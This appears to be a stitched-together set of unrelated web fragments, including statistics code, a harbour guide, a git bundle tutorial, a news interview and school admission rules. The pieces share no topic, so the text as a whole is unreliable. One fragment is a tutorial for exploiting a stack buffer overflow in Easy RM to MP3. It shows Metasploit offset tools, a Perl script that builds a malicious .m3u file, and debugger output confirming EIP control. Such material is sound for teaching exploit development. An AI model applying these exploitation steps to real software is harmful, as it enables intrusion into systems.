# load presidents dataset presidents <- data.frame(Qtr1=presidents[seq(1, length(presidents), 4)], Qtr2=presidents[seq(2, length(presidents), 4)], Qtr3=presidents[seq(3, length(presidents), 4)], Qtr4=presidents[seq(4, length(presidents), 4)]) presidents <- na.omit(presidents) nGroup <- ncol(presidents) # define lambda weights lambda <- matrix(c( 1, 0, 0, -1, # H1: decrease in approval ratings with stagnation over warmer months 3, 1, -1, -3), # H2: linear decrease in approval ratings ncol = nGroup, byrow=TRUE) # perform contrast analysis contrast_dependent(nGroup, lambda,presidents)#> F estimate t p g #> Contrast 1 9.6148 7.9231 3.1008 0.0047 0.6081 #> Contrast 2 10.4904 24.1923 3.2389 0.0034 0.6352


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What is blockchain? Blockchain is a generational technological transformation akin to the importance of the advent of the Internet for how businesses transact with one another. From tracking and transferring money or inventory to post-financial settlements and smart insurance contracts, the potential for blockchain to transform business spans industries and applications.
Robots!
Autonomous Things, Augmented Analytics, Development driven by Artificial Intelligence, Quantum Computing and Digital Twins are among the top-10 technology trends identified by research firm Gartner for 2019.
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How did it get here?
Anime has been slowly spreading into the United States since AstroBoy opened the doors, but more recently there has been a massive jump in its spread. This is something that would actually come as a significant surprise to very many Japanese people from years ago and even some currently. This is because anime is not designed for foreign audiences (Drazen, 2003, p. vii-viii). Anime is a very cultural creation at its base. It has been a way to teach children about life or entertain adults with stories, but in Japan. The majority of anime was originally created for and by Japanese people. The issues associated with globalization were never a concern as the potential for export was unthinkable. So when you see any of the older anime, you may notice direct references to very Japanese centric culture points. You’ll also come across many references to Shintoism and Buddhism, which are prominent religions that have become part of Japan’s culture.
If you were to watch some of the adapted anime of today and their raw versions, you would likely notice things that were taken out, replaced, or censored by the distribution company. This doesn’t just relate to cultural and religious content though. Anime also happens to contain a massive amount of raunchy and violent content which is often not considered suitable for open broadcast. This is especially true for anime geared towards children and teens. The content is considered inappropriate for ages 17 and under for american audiences, but is allowed in Japan. One of the most common gripes on this censorship is the American anime community and their distaste for the “4Kids Entertainment” adaptations. The company has its name heavily associated with child level censorship on imported anime. (GreatSaiyaman777, 2005) One of the most common references is to its adaptation of One Piece where blood is nonexistent, cigarettes are lollipops, and fingers are a deadly weapon that should be feared. Nowadays the American distribution rights are owned by Funimation Entertainment and the episodes have been released uncensored. (Funimation, 2007)


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James Doty, MD, is a Clinical Professor in the Department of Neurosurgery at Stanford University and the Director of the Center for Compassion and Altruism Research and Education at Stanford University School of Medicine. He completed his undergraduate education at the University of CA, Irvine and medical school at Tulane University. He trained in neurosurgery at Walter Reed Army Medical Center and completed fellowships in pediatric neurosurgery at Children’s Hospital in Philadelphia (CHOP) and in neuroelectrophysiology focused on the use of evoked potentials to assess the
integrity of neurological function. His more recent research interests have focused on the development of technologies using focused beams of radiation in conjunction with robotics and image-guidance techniques to treat solid tumors and other pathologies in the brain and spinal cord. He spent 9 years on active duty service in the U.S. Army Medical Corp.
As Director of CCARE, Dr. Doty has collaborated on a number of research projects focused on compassion and altruism including the use of neuro-economic models to assess altruism, use of the CCARE developed compassion cultivation training in individuals and its effect, assessment of compassionate and altruistic judgment utilizing implanted brain electrodes and the use of optogenetic techniques to assess nurturing pathways in rodents. Presently, he is developing collaborative research projects to assess the effect of compassion training on immunologic and other physiologic determinants of health, the use of mentoring as a method of instilling compassion in students and the use of compassion
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PYTHON
Python is a programming language. It's used all over the world by all sorts of people from professional coders to complete beginners.
It's very easy to learn. Use Python to code cool stuff with your BBC micro:bit. You can use your BBC micro:bit for all sorts of cool creations, from robots to musical instruments – the possibilities are endless. The micro:bit is a handheld, fully programmable computer being given free to every Year 7 or equivalent child across the UK. It’s 70 times smaller and 18 times faster than the original BBC Micro computers used in schools in the early 1980s.
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- ...tells MicroPython to use the display to scroll the string of characters “Hello, World!”.


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{# L10n: subcategory_name is the name of a group of banners, e.g. Firefox for Mobile. #} {%- trans subcategory_name=subcategory.name|clean(tags=['span']) -%} Finally, choose the size and color of your {{ subcategory_name }} banner, then you can copy its code onto your website or blog. {%- endtrans -%}


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Life is like riding a bicycle. To keep your balance, you must keep moving.
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Victoria is the oldest city on the west coast of Canada and is a vibrant, bustling city and seaport with a very English feel. It is located at the southern tip of Vancouver Island.
The Customs Station is at the James Bay Dock. For more details see Noonsite/Canada/Clearance.
Last updated October 2015.
Although the harbour is very busy, the entrance is wide and the current only runs at about 2 knots, so entering is straight forward. Beware of the float plane landing strip in the area of the harbour known as Inner Harbour. It is marked by yellow buoys.
There are several marinas within the harbour area. James Bay dock has visitors' berths and is right in the heart of the town. It is situated just across the street from the Empress Hotel, which is a significant landmark in Victoria. There are more visitors' berths at the Wharf Street government floats, 4 blocks to the west. Both docks are managed by the Wharf Manager whose office is midway between the two. Stays at these two docks are limited to 3 days in the summer months.
Local weather Tel: 001<PHONE_NUMBER>/15
There are other visitors' berths, although they are further from the city centre. The principal one is in the marina at West Bay, which is to port when proceeding through the outer part of the main harbour. It is about 1.5 to 2 miles from downtown Victoria, although it is a very pleasant stroll along a boardwalk alongside the water, called the Westsong Walkway. Alternatively, you can catch the harbour ferry which whisks you into downtown in minutes. The approach is via a narrow dredged channel.
Last updated October 2015.


Think Big, Design Smart and Develop Fast
Evezzon has designed and developed innovative apps for Android devices for more than 6 years. Over the past 4 years, Evezzon decided to develop and publish free and freemium Android apps on the Google Play Store. We don't just build apps, we develop the kind of apps that people talk about and use every day. As developers, our main proficiency lies in the complete management of a new Android development project. Therefore, we can also build Android apps from the ground up for you or your business.


Bullying and harassment happens all the time. Knowing what you can do to prevent being bullied or becoming a bully is important in understanding how to handle a situation.
The resources below explain why nerds are not as popular and therefor are more likly to be bullied, what is bullying and how to prevent it, finally, what to do if you have a bully for a boss.


{% extends "global/Page.html" %} {% load staticfiles otree_tags %} {% block title %} Allocation of shared endowment {% endblock %} {% block content %}
As the Sender, you will be given {{ Constants.endowment }} to split with the other participant. You are asked to share your endowment based on the following random number.


GHP Report
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vignettes/I_introduction.Rmd
I_introduction.Rmd
The USA National Phenology Network (USA-NPN) is a USGS funded organization that collects phenological observation records from volunteer and professional scientists to better understand the impact of changes in the environment on the timing of species’ life cycles. The USA-NPN also provides a number of raster-based climatological data sets and phenological models. These in-situ observation and geospatial, modeled datasets are available through a number of tools and data services.
The USA-NPN R library, “rnpn”, is primarily a data access service for USA-NPN data products, serving as a wrapper to the USA-NPN REST based web services. (link). This guide details how to use the library to access and work with all USA-NPN data types.
USA-NPN Observational data are collected on the ground by citizen and professional observers following standardized protocols, using the Nature’s Notebook platform. The data are available 2009 to present, and come in four formats or data types: Status & Intensity, Individual Phenometrics, Site Phenometrics and Magnitude Phenometrics. An overview of the differences is provided in the figure below, and each type is detailed in the following sections. For a complete description of the USA-NPN approach and notes for working with each data type see the Open File Report on USA-NPN Observational Data.
In Nature’s Notebook, observers register a location, and then at each location they register any number of individual plants or animal species. The expectation is that the user then takes regular observations on each individual/species at a regular interval. Phenological status is reported by yes or no answers to a series of questions, for example, “Do you see leaves?” or “Do you see active individuals?”. In contrast to traditional monitoring of annual “first” events (for example, date of first leaf or first robin), this approach captures absence data when the phenophase is not occurring and repeat events. Each observation is comprised of a series of 1, 0 and -1 values, representing yes/no/uncertain for each possible phenophase for the plant on that date. To explore data in this native “Status and Intensity” format, see the vignette by the same name.
A few considerations and functions apply across all USA-NPN Observational data types.
The basic format for an observational data call in the rnpn library is:
‘Request source’ should usually be populated with your full name or the name of the organization you represent. Species_ID is the unique identifier for all the available plants and animals in the USA-NPN database. You can create a table of all available species and their ID numbers:
species <- npn_species()
Search for a species by common name from the full list:
species[species$common_name=="red maple",]
There are many parameters which can be set beyond these basic ones, depending on the data type, and further detailed in the other vignettes featured in this package.
Note that specifying the year(s) of interest is a required parameter.
There’s also another required field, “request_source”, which is a user-provided, self-identifying string. This allows the client to provide some information about who is accessing the data. Knowing who is using the data is very helpful for our staff to report the impact of the USA-NPN to the scientific community. The input provided here is entirely honor-based.
You can also now look up which stations have a registered plant for a particular species. In the example below, we use the species ID for red maple, which we were able to find through the npn_species() function, to find all stations with that species.


The arrows in the diagram below describe the paths that beavers can use to move between their homes. The grid next to it contains a white box for each arrow. For example, The box of the grid in line A and to the column D corresponds to the arrow connecting the house A and house D.
Your goal is to select a set of arrows such that if all beavers come out of their house and follow the arrows, then find themselves in the red house L. Click on the white boxes to select the corresponding arrows.


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Santhoshi is on a roll, here is another great product from her makeup box :)
Hey All,
Here is the picture of the cult favorite Smashbox line: The photo finish primer. It has won the following awards:
- Winner of Best of Sephora Award for Best Primer,
- One of Marie Claire’s “25 Products That Will Change Your Life,” and
- An InStyle Best Beauty Buy.
In my honest opinion, I feel this is a keeper . However, I have used it only on rare occasions (wedding or parties) for myself as well as the bride-to-be as its freaking expensive and cant afford to waste the product . This is a beauty must-have for a photo-ready face . This can be purchased at strawberrynet.
The product itself is the texture of a thick gel , it gives a velvety feel when rubbed between the palms. It gives a smooth canvas for applying foundation or powder. The makeup never slides or disintegrates even in hot humid Indian weather and gives a right amount of glow-from-within look.
I have heard that the NYX Studio Perfect Primer is a close dupe for this, however I have not tried it personally.
Has anyone tried Smashbox or NYX Studio perfect primer ?


A few of the interactive visuals I have created.
Hover over any point to see the top 5 games for that specific rating and year. Points have been programmed to grow bigger as you hover over them.
Drag a node to freeze (yellow). Double click to unfreeze.


clapper.org Java Utility Library.
This library contains a variety of miscellaneous utility classes. Think of it as a logical extension of the Java JDK.


Removes braces around a case clause body, around a single line method body, value definition, or around the if/else branch.


We know that EIP is located somewhere between 20000 and 30000 bytes from the beginning of the buffer. Now, you could potentially overwrite all memory space between 20000 and 30000 bytes with the address you want to overwrite EIP with. This may work, but it looks much more nice if you can find the exact location to perform the overwrite. In order to determine the exact offset of EIP in our buffer, we need to do some additional work.
First, let’s try to narrow down the location by changing our perl script just a little :
Let’s cut things in half. We’ll create a file that contains 25000 A’s and another 5000 B’s. If EIP contains an 41414141 (AAAA), EIP sits between 20000 and 25000, and if EIP contains 42424242 (BBBB), EIP sits between 25000 and 30000. Create the file and open crash25000.m3u in Easy RM to MP3.
OK, so eip contains 42424242 (BBBB), so we know EIP has an offset between 25000 and 30000.  We have overwritten EIP with BBBB and we can also see our buffer in ESP.
Before we can start tweaking the script, we need to find the exact location in our buffer that overwrites EIP.
In order to find the exact location, we’ll use Metasploit.
Metasploit has a nice tool to assist us with calculating the offset. It will generate a string that contains unique patterns. Using this pattern (and the value of EIP after using the pattern in our malicious .m3u file), we can see how big the buffer should be to write exactly into EIP.
Open the tools folder in the metasploit framework3 folder (I’m using a linux version of metasploit 3). You should find a tool called pattern_create.rb. Create a pattern of 5000 characters and write it into a file.
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb
Usage: pattern_create.rb length [set a] [set b] [set c]
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000
Edit the perl script and replace the content of $junk2 with our 5000 characters.
Create the m3u file. open this file in Easy RM to MP3, wait until the application dies again, and take note of the contents of EIP
At this time, eip contains 0x356b4234 (note : little endian : we have overwritten EIP with 34 42 6b 35 = 4Bk5
Let’s use a second metasploit tool now, to calculate the exact length of the buffer before writing into EIP, feed it with the value of EIP (based on the pattern file) and length of the buffer :
root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 0x356b4234 5000
1094
root@bt:/pentest/exploits/framework3/tools#
1094. That’s the buffer length needed to overwrite EIP. So if you create a file with 25000+1094 A’s, and then add 4 B’s (42 42 42 42 in hex) EIP should contain 42 42 42 42.� We also know that ESP points at data from our buffer, so we’ll add some C’s after overwriting EIP.
Let’s try. Modify the perl script to create the new m3u file.
my $file= "eipcrash.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";
Create eipcrash.m3u, open it in Easy RM to MP3, observe the crash and look at eip and the contents of the memory at ESP
0:000> d esp
000ff730 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff740 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff750 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff760 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff770 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff780 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff790 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff7a0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
In Immunity Debugger, you can see the contents of the stack, at ESP, by looking at the lower right hand window.
Excellent. EIP contains BBBB, which is exactly what we wanted. So now we control EIP. On top of that, ESP points to our buffer (C’s)
Note : the offset shown here is the result of the analysis on my own system. If you are trying to reproduce the exercises from this tutorial on your own system, odds are high that you will get a different offset address. So please don’t just take the offset value or copy the source code to your system, as the offset is based on the file path where the m3u file is stored. The buffer that is vulnerable to an overflow includes the full path to the m3u file. So if the path on your system is shorter or larger than mine, then the offset will be different.
Our exploit buffer so far looks like this :


Introduction
Keeping a backup or moving around a local repository while retaining its entire versioning information can be achieved with the current utilities of git.
Bundles are a great way to backup entire Git repositories. They also let you share changes without a network connection.
Materials and Methods
We will use the git bundle
utility inside our local repository and also git merge
to deploy our bundled repo.
git bundle
turns a repository into a single file that retains the versioning information of the entire project.
Here are a list of options that are available:
'git bundle' create <name-of-the-bundle> <git-rev-list-args>
'git bundle' verify <file>
'git bundle' unbundle <file> [<refname>...]
Create a bundle
While you are inside a repo run:
git bundle create ../myrepo.bundle master`
It should print out something like this:
Counting objects: 43, done.
Delta compression using up to 2 threads.
Compressing objects: 100% (39/39), done.
Writing objects: 100% (43/43), 54.44 KiB | 0 bytes/s, done.
Total 43 (delta 8), reused 0 (delta 0)
This will create the bundle outside (one folder above) the repo and name it myrepo.bundle
. When we created the file It was like we where just pushing our master branch to a remote, except it’s contained in a file instead of a remote repository.
Verify the bundle
Before we move our bundle its a good idea to verify its content and check that the bundle file is valid and relevant to the current repository.
While you are inside a repo run:
git bundle verify ../myrepo.bundle`
It should print out something like this:
The bundle contains this ref:
230b04bdd3367b2db73 refs/heads/master
The bundle records a complete history.
../myrepo.bundle is okay
Deploy the bundle
Assuming that you have the myrepo.bundle
file in /home/user
and you have created a folder newrepo
and initialized a git repository inside it. Here is a generic procedure:
mkdir newrepo
cd newrepo
git init
git bundle unbundle ../myrepo.bundle
the last command will inform you with the HEAD
of you repo
f7243ba54eb7de4b76a0 HEAD
Now you can merge the contents of myrepo.bubdle
file with the one that you initialized inside the newrepo
folder:
git merge f7243b
Alternative procedures are also available, so please follow the links provided on the References section
Results and discussion
As you can see once you create the bundle file you can easily move it to another folder on the same or an other machine. Assume you want to transfer the history from a repository R1 on machine A to another repository R2 on machine B. For whatever reason, direct connection between A and B is not allowed, but we can move data from A to B via some mechanism (USB flash drive, email, etc..). This way we can update R2 with development made on the branch master in R1.
References
- Ryan Hodson, Git Tips & Tricks : rypress.com
- Scott Chacon and Ben Straub, Pro Git : git-scm.com


Exclusive Video: Border Is 'Matter of National Security,' Says JTFW Director
SAN ANTONIO, Texas — Joint Task Force – West (JTF-W) Director Manuel Padilla, Jr. told Breitbart News that having a secure border with Mexico is a “matter of national security” during a 45-minute exclusive interview.
by Bob.Price.Texas, Bob Price“When one visits the border, you will see the compassion of the agents,” Director Padilla told Breitbart News Border and Cartels Director Brandon Darby. “You will see the agents rescuing this year over 4,500 rescues. You will see somebody assaulting the agents. And I’m going to say it, unfortunately, you will see some misconduct by one agent, which is not the norm.”
“So the border has all these things,” the director stated. “If we were to portray an objective picture of what’s happening on the border, I think every American will understand that…having a secure border is not an option…it’s a matter of national security.”
During the 45-minute interview with Darby (below), Director Padilla discussed the humanitarian and national security crisis caused by the largely unsecured border between the United States and Mexico. These issues include human smuggling, drug trafficking, and cartel violence.
The director also discussed the need for a physical barrier and how they impact border patrol agents versus cartels. He continues with a discussion about the abuses of migrants by their smugglers.
Padilla said the South Texas border has lagged behind in the construction of physical barriers because of heavier traffic in areas like El Paso and San Diego. “If you look a the tactical infrastructure that we have to include the walls is a lot less than other parts of the country,” he explained. “It’s kind of shifted traffic to different areas.”
“I was very hopeful, very happy when I saw that this administration was very focused on establishing the personnel, technology, and infrastructure to the levels that we are working on and also that engagement with Mexico and Central America,” Padilla concluded.
President Donald Trump appointed Director Padilla to lead the Department of Homeland Security’s Joint Task Force — West in October 2018. The task force coordinates the assets and personnel of U.S. Customs and Border Protection, U.S. Immigration and Customs Enforcement, U.S. Citizenship and Immigration Services, the U.S. Coast Guard, and other federal agencies to secure the U.S. southwest border.
Bob Price serves as associate editor and senior political news contributor for the Breitbart Border team. He is an original member of the Breitbart Texas team. Follow him on Twitter @BobPriceBBTX and Facebook .


Before Change
for url_path in _collect_path_to_update():
url_infos = checksums.load_url_infos(url_path)
cached_url_infos[url_path] = url_infos
future_filenames[url_path] = executor.map(_request_filename, url_infos)
for path, future_filename in future_filenames.items():
old_url_infos = cached_url_infos[path]
updated_url_infos = _update_url_infos(old_url_infos, future_filename)
checksums.save_url_infos(path, updated_url_infos)
After Change
// Remove duplicate urls
all_url_infos = {}
for url_infos in path_to_url_infos.values():
all_url_infos.update(url_infos)
with futures.ThreadPoolExecutor(max_workers=100) as executor:


The CIMI Assertion pattern is used for assertions made about an individual's state. Typically, assertions are used to assert that the patient is a member of a 'cohort' of patient sharing a common characteristic such as asserting that a patient has diabetes or brown hair color. In an assertion, the key specifies that the statement's topic is an assertion-style statement while the name contains the concept or post-coordinated expression being asserted. Assertions do not imply necessarily that clinical judgement was used to derive the assertion though this is often the case (e.g., a formal diagnosis after a review of the evidence. Rather, the Assertion pattern is merely a structural pattern for finding statements that are not in the form of a question-answer pair (e.g., Systolic Blood Pressure = 120 mmHg). For the latter pattern, consider using the EvaluationResult pattern.


The academic year commences in the month of June every year. The school prospectus together with the necessary forms can be obtained from the school office. An entrance test will be conducted to the new aspirants from the month of March till May end.
Application forms for admission to the L.K.G. will be issued to those who produce Government Birth certificate. Kindly note that a child should complete 3 years of age by 31st of August of the same academic year.
The School conducts an interview – oral & written covering all subjects before a child is admitted to UKG or the higher classes.
Registration starts from February. Pupils seeking admission will be tested in English, Maths, Science and either Telugu or Hindi Language. Birth record from the Government and T.C. from the previous school must be produced at the time of admission. However, students who are promoted from U.K.G. and wish to continue in the same school should submit a fresh application.
The School conducts interview – oral & written test covering all subjects before a child is admitted to the I & II classes. For classes III, IV, V, VI, VII, VIII & IX the students will have to write an entrance test in English, Science, Mathematics and II language to qualify for admission. Admission will be confirmed only after assessing the performance of the candidates in the written test.
School fees should be paid at Indian Overseas Bank, Ring Road, Bishop Bangla campus, Guntur on school printed challan.1st Term fee should be paid on or before 10th June.2nd Term fee should be paid on or before 10th September.3rd Term fee should be paid on or before 10th January.School fee must be paid before the due date.After the due date, fine will be charged
The other information like rules & regulations of the school, student uniform, school timings etc. are available in the school diary


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